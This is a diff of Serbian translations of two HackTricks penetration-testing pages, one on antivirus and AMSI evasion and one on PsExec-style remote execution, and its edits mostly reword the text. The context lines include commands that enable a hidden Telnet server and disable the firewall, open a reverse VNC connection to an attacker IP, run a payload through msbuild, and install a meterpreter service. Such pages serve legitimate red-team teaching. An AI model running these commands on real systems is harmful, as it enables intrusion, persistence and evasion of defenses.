@ -121,7 +121,7 @@ Ovo su koraci koje sam pratio:
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Poslednja komanda će nam dati 2 fajla: šablon izvorne DLL datoteke i originalnu preimenovanu DLL.
|
Poslednja komanda će nam dati 2 fajla: šablon izvorne koda DLL-a i originalni preimenovani DLL.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -188,7 +188,7 @@ Postoji nekoliko načina da se zaobiđe AMSI:
|
||||||
|
|
||||||
Pošto AMSI uglavnom radi sa statičkim detekcijama, stoga, modifikovanje skripti koje pokušavate da učitate može biti dobar način za izbegavanje detekcije.
|
Pošto AMSI uglavnom radi sa statičkim detekcijama, stoga, modifikovanje skripti koje pokušavate da učitate može biti dobar način za izbegavanje detekcije.
|
||||||
|
|
||||||
Međutim, AMSI ima sposobnost da neobfuskira skripte čak i ako imaju više slojeva, tako da obfuskacija može biti loša opcija u zavisnosti od načina na koji je urađena. Ovo čini izbegavanje ne tako jednostavnim. Ipak, ponekad, sve što treba da uradite je da promenite nekoliko imena promenljivih i bićete u redu, tako da zavisi koliko je nešto označeno.
|
Međutim, AMSI ima sposobnost da neobfuskira skripte čak i ako imaju više slojeva, tako da obfuskacija može biti loša opcija u zavisnosti od načina na koji je urađena. To čini izbegavanje ne tako jednostavnim. Ipak, ponekad, sve što treba da uradite je da promenite nekoliko imena promenljivih i bićete u redu, tako da zavisi koliko je nešto označeno.
|
||||||
|
|
||||||
* **AMSI Bypass**
|
* **AMSI Bypass**
|
||||||
|
|
||||||
|
@ -232,7 +232,7 @@ Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamo
|
||||||
|
|
||||||
Postoji mnogo drugih tehnika koje se koriste za zaobilaženje AMSI sa powershell, pogledajte [**ovu stranicu**](basic-powershell-for-pentesters/#amsi-bypass) i [ovaj repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) da biste saznali više o njima.
|
Postoji mnogo drugih tehnika koje se koriste za zaobilaženje AMSI sa powershell, pogledajte [**ovu stranicu**](basic-powershell-for-pentesters/#amsi-bypass) i [ovaj repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) da biste saznali više o njima.
|
||||||
|
|
||||||
Ili ovaj skript koji će putem memorijskog patchinga patchovati svaki novi Powersh
|
Ili ovaj skript koji putem memorijskog patchinga će patchovati svaki novi Powersh
|
||||||
|
|
||||||
## Obfuscation
|
## Obfuscation
|
||||||
|
|
||||||
|
@ -244,19 +244,19 @@ Postoji nekoliko alata koji se mogu koristiti za **obfuskaciju C# čistog koda**
|
||||||
* [**obfy**](https://github.com/fritzone/obfy): Dodaje sloj obfuskovanih operacija generisanih C++ metaprogramskim okvirom koji će otežati život osobi koja želi da provali aplikaciju.
|
* [**obfy**](https://github.com/fritzone/obfy): Dodaje sloj obfuskovanih operacija generisanih C++ metaprogramskim okvirom koji će otežati život osobi koja želi da provali aplikaciju.
|
||||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz je x64 binarni obfuscator koji može obfuskovati razne različite pe datoteke uključujući: .exe, .dll, .sys
|
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz je x64 binarni obfuscator koji može obfuskovati razne različite pe datoteke uključujući: .exe, .dll, .sys
|
||||||
* [**metame**](https://github.com/a0rtega/metame): Metame je jednostavan metamorfni kod motor za proizvoljne izvršne datoteke.
|
* [**metame**](https://github.com/a0rtega/metame): Metame je jednostavan metamorfni kod motor za proizvoljne izvršne datoteke.
|
||||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator je okvir za obfuskaciju koda sa finim granicama za jezike podržane od strane LLVM koristeći ROP (programiranje orijentisano na povratak). ROPfuscator obfuskira program na nivou asemblera transformišući obične instrukcije u ROP lance, ometajući naše prirodno shvatanje normalnog toka kontrole.
|
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator je okvir za obfuskaciju koda sa finim granicama za jezike podržane od strane LLVM koristeći ROP (programiranje orijentisano na povratak). ROPfuscator obfuskira program na nivou asemblera transformišući redovne instrukcije u ROP lance, ometajući naše prirodno shvatanje normalnog toka kontrole.
|
||||||
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt je .NET PE Crypter napisan u Nimu
|
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt je .NET PE Crypter napisan u Nimu
|
||||||
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor može konvertovati postojeće EXE/DLL u shellcode i zatim ih učitati
|
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor može konvertovati postojeće EXE/DLL u shellcode i zatim ih učitati
|
||||||
|
|
||||||
## SmartScreen & MoTW
|
## SmartScreen & MoTW
|
||||||
|
|
||||||
Možda ste videli ovaj ekran kada ste preuzimali neke izvršne datoteke sa interneta i izvršavali ih.
|
Možda ste videli ovu stranicu kada ste preuzimali neke izvršne datoteke sa interneta i izvršavali ih.
|
||||||
|
|
||||||
Microsoft Defender SmartScreen je bezbednosni mehanizam namenjen zaštiti krajnjeg korisnika od pokretanja potencijalno zlonamernih aplikacija.
|
Microsoft Defender SmartScreen je bezbednosni mehanizam namenjen zaštiti krajnjeg korisnika od pokretanja potencijalno zlonamernih aplikacija.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
SmartScreen uglavnom funkcioniše na osnovu reputacije, što znači da će neobično preuzete aplikacije aktivirati SmartScreen, čime će upozoriti i sprečiti krajnjeg korisnika da izvrši datoteku (iako se datoteka i dalje može izvršiti klikom na Više informacija -> Pokreni u svakom slučaju).
|
SmartScreen uglavnom funkcioniše na osnovu reputacije, što znači da će neobično preuzete aplikacije aktivirati SmartScreen, upozoravajući i sprečavajući krajnjeg korisnika da izvrši datoteku (iako se datoteka i dalje može izvršiti klikom na Više informacija -> Pokreni u svakom slučaju).
|
||||||
|
|
||||||
**MoTW** (Mark of The Web) je [NTFS Alternativni Podaci Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) sa imenom Zone.Identifier koji se automatski kreira prilikom preuzimanja datoteka sa interneta, zajedno sa URL-om sa kojeg je preuzeta.
|
**MoTW** (Mark of The Web) je [NTFS Alternativni Podaci Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) sa imenom Zone.Identifier koji se automatski kreira prilikom preuzimanja datoteka sa interneta, zajedno sa URL-om sa kojeg je preuzeta.
|
||||||
|
|
||||||
|
@ -266,7 +266,7 @@ SmartScreen uglavnom funkcioniše na osnovu reputacije, što znači da će neobi
|
||||||
Važno je napomenuti da izvršne datoteke potpisane **pouzdanom** potpisnom sertifikatom **neće aktivirati SmartScreen**.
|
Važno je napomenuti da izvršne datoteke potpisane **pouzdanom** potpisnom sertifikatom **neće aktivirati SmartScreen**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Veoma efikasan način da sprečite da vaši payload-i dobiju Mark of The Web je pakovanje unutar nekog oblika kontejnera kao što je ISO. To se dešava jer Mark-of-the-Web (MOTW) **ne može** biti primenjen na **non NTFS** volumene.
|
Veoma efikasan način da sprečite da vaši payloadi dobiju Mark of The Web je pakovanje unutar nekog oblika kontejnera poput ISO-a. To se dešava jer Mark-of-the-Web (MOTW) **ne može** biti primenjen na **non NTFS** volumene.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -300,7 +300,7 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
|
||||||
|
|
||||||
## C# Assembly Reflection
|
## C# Assembly Reflection
|
||||||
|
|
||||||
Učitavanje C# binarnih datoteka u memoriju je poznato već neko vreme i još uvek je veoma dobar način za pokretanje vaših alata nakon eksploatacije bez da vas AV uhvati.
|
Učitavanje C# binarnih datoteka u memoriju je poznato već neko vreme i još uvek je veoma dobar način za pokretanje vaših alata nakon eksploatacije bez da vas uhvate AV.
|
||||||
|
|
||||||
Pošto će se payload učitati direktno u memoriju bez dodirivanja diska, moraćemo da se brinemo samo o patchovanju AMSI tokom celog procesa.
|
Pošto će se payload učitati direktno u memoriju bez dodirivanja diska, moraćemo da se brinemo samo o patchovanju AMSI tokom celog procesa.
|
||||||
|
|
||||||
|
@ -308,25 +308,25 @@ Većina C2 okvira (sliver, Covenant, metasploit, CobaltStrike, Havoc, itd.) već
|
||||||
|
|
||||||
* **Fork\&Run**
|
* **Fork\&Run**
|
||||||
|
|
||||||
Ovo podrazumeva **pokretanje novog žrtvenog procesa**, injektovanje vašeg malicioznog koda u taj novi proces, izvršavanje vašeg malicioznog koda i kada završite, ubijanje novog procesa. Ovo ima svoje prednosti i nedostatke. Prednost metode fork and run je što se izvršavanje dešava **van** našeg Beacon implant procesa. To znači da ako nešto u našoj akciji nakon eksploatacije pođe po zlu ili bude uhvaćeno, postoji **mnogo veća šansa** da naš **implant preživi.** Nedostatak je što imate **veću šansu** da budete uhvaćeni od strane **Behavioral Detections**.
|
Ovo podrazumeva **pokretanje novog žrtvenog procesa**, injektovanje vašeg zloćudnog koda u taj novi proces, izvršavanje vašeg zloćudnog koda i kada završite, ubijanje novog procesa. Ovo ima svoje prednosti i nedostatke. Prednost metode fork and run je u tome što se izvršavanje dešava **van** našeg Beacon implant procesa. To znači da ako nešto u našoj akciji nakon eksploatacije pođe po zlu ili bude uhvaćeno, postoji **mnogo veća šansa** da naš **implant preživi.** Nedostatak je u tome što imate **veću šansu** da budete uhvaćeni od strane **Behavioral Detections**.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* **Inline**
|
* **Inline**
|
||||||
|
|
||||||
Radi se o injektovanju malicioznog koda nakon eksploatacije **u sopstveni proces**. Na ovaj način, možete izbeći kreiranje novog procesa i njegovo skeniranje od strane AV, ali nedostatak je što ako nešto pođe po zlu sa izvršavanjem vašeg payload-a, postoji **mnogo veća šansa** da **izgubite vaš beacon** jer bi mogao da se sruši.
|
Radi se o injektovanju zloćudnog koda nakon eksploatacije **u sopstveni proces**. Na ovaj način, možete izbeći kreiranje novog procesa i njegovo skeniranje od strane AV, ali nedostatak je u tome što ako nešto pođe po zlu sa izvršavanjem vašeg payload-a, postoji **mnogo veća šansa** da **izgubite vaš beacon** jer bi mogao da se sruši.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Ako želite da pročitate više o učitavanju C# assembly-a, molimo vas da pogledate ovaj članak [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) i njihov InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
Ako želite da pročitate više o učitavanju C# Assembly-a, molimo vas da pogledate ovaj članak [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) i njihov InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Takođe možete učitati C# assembly-e **iz PowerShell-a**, pogledajte [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) i [video S3cur3th1sSh1t-a](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
Takođe možete učitati C# Assembly-e **iz PowerShell-a**, pogledajte [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) i [video S3cur3th1sSh1t-a](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||||
|
|
||||||
## Using Other Programming Languages
|
## Using Other Programming Languages
|
||||||
|
|
||||||
Kao što je predloženo u [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), moguće je izvršiti maliciozni kod koristeći druge jezike dajući kompromitovanoj mašini pristup **okruženju interpretera instaliranom na SMB deljenju pod kontrolom napadača**.
|
Kao što je predloženo u [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), moguće je izvršiti zloćudni kod koristeći druge jezike dajući kompromitovanoj mašini pristup **okruženju interpreter-a instaliranom na SMB deljenju pod kontrolom napadača**.
|
||||||
|
|
||||||
Dajući pristup Interpreter Binaries i okruženju na SMB deljenju možete **izvršiti proizvoljan kod u ovim jezicima unutar memorije** kompromitovane mašine.
|
Dajući pristup Interpreter Binaries i okruženju na SMB deljenju možete **izvršiti proizvoljan kod u ovim jezicima unutar memorije** kompromitovane mašine.
|
||||||
|
|
||||||
|
@ -334,7 +334,7 @@ Repozitorijum ukazuje: Defender i dalje skenira skripte, ali korišćenjem Go, J
|
||||||
|
|
||||||
## Advanced Evasion
|
## Advanced Evasion
|
||||||
|
|
||||||
Izbegavanje je veoma komplikovana tema, ponekad morate uzeti u obzir mnoge različite izvore telemetrije u samo jednom sistemu, tako da je prilično nemoguće ostati potpuno neotkriven u zrelim okruženjima.
|
Izbegavanje je veoma komplikovana tema, ponekad morate uzeti u obzir mnoge različite izvore telemetrije u samo jednom sistemu, tako da je praktično nemoguće ostati potpuno neotkriven u zrelim okruženjima.
|
||||||
|
|
||||||
Svako okruženje protiv kojeg se borite imaće svoje snage i slabosti.
|
Svako okruženje protiv kojeg se borite imaće svoje snage i slabosti.
|
||||||
|
|
||||||
|
@ -350,12 +350,12 @@ Ovo je takođe još jedan odličan govor od [@mariuszbit](https://twitter.com/ma
|
||||||
|
|
||||||
### **Check which parts Defender finds as malicious**
|
### **Check which parts Defender finds as malicious**
|
||||||
|
|
||||||
Možete koristiti [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) koji će **ukloniti delove binarne datoteke** dok ne **otkrije koji deo Defender** smatra malicioznim i podeliti ga sa vama.\
|
Možete koristiti [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) koji će **ukloniti delove binarne datoteke** dok ne **otkrije koji deo Defender** smatra zloćudnim i podeliti to sa vama.\
|
||||||
Drugi alat koji radi **isto je** [**avred**](https://github.com/dobin/avred) sa otvorenom web stranicom koja nudi uslugu na [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
Drugi alat koji radi **isto je** [**avred**](https://github.com/dobin/avred) sa otvorenom web stranicom koja nudi uslugu na [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||||
|
|
||||||
### **Telnet Server**
|
### **Telnet Server**
|
||||||
|
|
||||||
Do Windows 10, svi Windows su dolazili sa **Telnet serverom** koji ste mogli instalirati (kao administrator) tako što ste:
|
Do Windows 10, svi Windows su dolazili sa **Telnet serverom** koji ste mogli instalirati (kao administrator) tako što ćete:
|
||||||
```bash
|
```bash
|
||||||
pkgmgr /iu:"TelnetServer" /quiet
|
pkgmgr /iu:"TelnetServer" /quiet
|
||||||
```
|
```
|
||||||
|
@ -363,7 +363,7 @@ Neka **počinje** kada se sistem pokrene i **pokreni** ga sada:
|
||||||
```bash
|
```bash
|
||||||
sc config TlntSVR start= auto obj= localsystem
|
sc config TlntSVR start= auto obj= localsystem
|
||||||
```
|
```
|
||||||
**Promenite telnet port** (neprimetno) i onemogućite firewall:
|
**Promenite telnet port** (stealth) i onemogućite firewall:
|
||||||
```
|
```
|
||||||
tlntadmn config port=80
|
tlntadmn config port=80
|
||||||
netsh advfirewall set allprofiles state off
|
netsh advfirewall set allprofiles state off
|
||||||
|
@ -382,12 +382,12 @@ Zatim, premestite binarni _**winvnc.exe**_ i **novokreirani** fajl _**UltraVNC.i
|
||||||
|
|
||||||
#### **Obrnuta veza**
|
#### **Obrnuta veza**
|
||||||
|
|
||||||
**Napadač** treba da **izvrši unutar** svog **hosta** binarni `vncviewer.exe -listen 5900` kako bi bio **pripremljen** da uhvati obrnutu **VNC vezu**. Zatim, unutar **žrtve**: Pokrenite winvnc daemon `winvnc.exe -run` i izvršite `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
**Napadač** treba da **izvrši unutar** svog **hosta** binarni `vncviewer.exe -listen 5900` kako bi bio **pripremljen** da uhvati obrnutu **VNC vezu**. Zatim, unutar **žrtve**: Pokrenite winvnc daemon `winvnc.exe -run` i pokrenite `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
|
||||||
|
|
||||||
**UPWARNING:** Da biste održali neprimetnost, ne smete raditi nekoliko stvari
|
**UPWARNING:** Da biste održali neprimetnost, ne smete raditi nekoliko stvari
|
||||||
|
|
||||||
* Ne pokrećite `winvnc` ako već radi ili ćete aktivirati [popup](https://i.imgur.com/1SROTTl.png). proverite da li radi sa `tasklist | findstr winvnc`
|
* Ne pokrećite `winvnc` ako već radi ili ćete aktivirati [popup](https://i.imgur.com/1SROTTl.png). proverite da li radi sa `tasklist | findstr winvnc`
|
||||||
* Ne pokrećite `winvnc` bez `UltraVNC.ini` u istom direktorijumu ili će otvoriti [prozor za konfiguraciju](https://i.imgur.com/rfMQWcf.png)
|
* Ne pokrećite `winvnc` bez `UltraVNC.ini` u istom direktorijumu ili će se otvoriti [prozor za konfiguraciju](https://i.imgur.com/rfMQWcf.png)
|
||||||
* Ne pokrećite `winvnc -h` za pomoć ili ćete aktivirati [popup](https://i.imgur.com/oc18wcu.png)
|
* Ne pokrećite `winvnc -h` za pomoć ili ćete aktivirati [popup](https://i.imgur.com/oc18wcu.png)
|
||||||
|
|
||||||
### GreatSCT
|
### GreatSCT
|
||||||
|
@ -420,7 +420,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
|
||||||
|
|
||||||
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
|
||||||
|
|
||||||
#### Prvi C# Revershell
|
#### Prvi C# Reverznog shell-a
|
||||||
|
|
||||||
Kompajlirajte ga sa:
|
Kompajlirajte ga sa:
|
||||||
```
|
```
|
||||||
|
@ -569,15 +569,15 @@ https://github.com/praetorian-code/vulcan
|
||||||
|
|
||||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# PsExec/Winexec/ScExec
|
# PsExec/Winexec/ScExec
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,26 +15,24 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## Kako funkcionišu
|
## Kako funkcionišu
|
||||||
|
|
||||||
Proces je opisan u koracima ispod, ilustrujući kako se binarni fajlovi servisa manipulišu da bi se postigla daljinska izvršenja na ciljnim mašinama putem SMB:
|
Proces je prikazan u koracima ispod, ilustrujući kako se binarni fajlovi servisa manipulišu da bi se postigla daljinska izvršenja na ciljnim mašinama putem SMB:
|
||||||
|
|
||||||
1. **Kopiranje binarnog fajla servisa na ADMIN$ deljenje preko SMB** se vrši.
|
1. **Kopiranje binarnog fajla servisa na ADMIN$ share preko SMB** se vrši.
|
||||||
2. **Kreiranje servisa na daljinskoj mašini** se vrši upućivanjem na binarni fajl.
|
2. **Kreiranje servisa na daljinskoj mašini** se vrši upućivanjem na binarni fajl.
|
||||||
3. Servis se **pokreće daljinski**.
|
3. Servis se **pokreće daljinski**.
|
||||||
4. Po izlasku, servis se **zaustavlja, a binarni fajl se briše**.
|
4. Po izlasku, servis se **zaustavlja, a binarni fajl se briše**.
|
||||||
|
|
||||||
### **Proces ručnog izvršavanja PsExec**
|
### **Proces ručnog izvršavanja PsExec**
|
||||||
|
|
||||||
Pretpostavljajući da postoji izvršni payload (napravljen sa msfvenom i obfuskovan korišćenjem Veil-a da bi se izbegla antivirusna detekcija), nazvan 'met8888.exe', koji predstavlja meterpreter reverse_http payload, sledeći koraci se preduzimaju:
|
Pretpostavljajući da postoji izvršni payload (napravljen sa msfvenom i obfuskovan korišćenjem Veil-a da bi se izbegla detekcija antivirusom), nazvan 'met8888.exe', koji predstavlja meterpreter reverse_http payload, sledeći koraci se preduzimaju:
|
||||||
|
|
||||||
* **Kopiranje binarnog fajla**: Izvršni fajl se kopira na ADMIN$ deljenje iz komandne linije, iako može biti smešten bilo gde u fajl sistemu da bi ostao skriven.
|
* **Kopiranje binarnog fajla**: Izvršni fajl se kopira na ADMIN$ share iz komandne linije, iako može biti smešten bilo gde u fajl sistemu da bi ostao skriven.
|
||||||
* **Kreiranje servisa**: Korišćenjem Windows `sc` komande, koja omogućava upit, kreiranje i brisanje Windows servisa na daljinu, kreira se servis nazvan "meterpreter" koji upućuje na otpremljeni binarni fajl.
|
* **Kreiranje servisa**: Korišćenjem Windows `sc` komande, koja omogućava upit, kreiranje i brisanje Windows servisa na daljinu, kreira se servis nazvan "meterpreter" koji upućuje na otpremljeni binarni fajl.
|
||||||
* **Pokretanje servisa**: Poslednji korak uključuje pokretanje servisa, što će verovatno rezultirati "time-out" greškom zbog toga što binarni fajl nije pravi servisni binarni fajl i ne uspeva da vrati očekivani kod odgovora. Ova greška je beznačajna jer je primarni cilj izvršenje binarnog fajla.
|
* **Pokretanje servisa**: Poslednji korak uključuje pokretanje servisa, što će verovatno rezultirati "time-out" greškom zbog toga što binarni fajl nije pravi binarni fajl servisa i ne uspeva da vrati očekivani kod odgovora. Ova greška je beznačajna jer je primarni cilj izvršenje binarnog fajla.
|
||||||
|
|
||||||
Posmatranje Metasploit slušatelja će otkriti da je sesija uspešno inicirana.
|
Posmatranje Metasploit slušatelja će otkriti da je sesija uspešno inicirana.
|
||||||
|
|
||||||
|
@ -54,13 +52,11 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|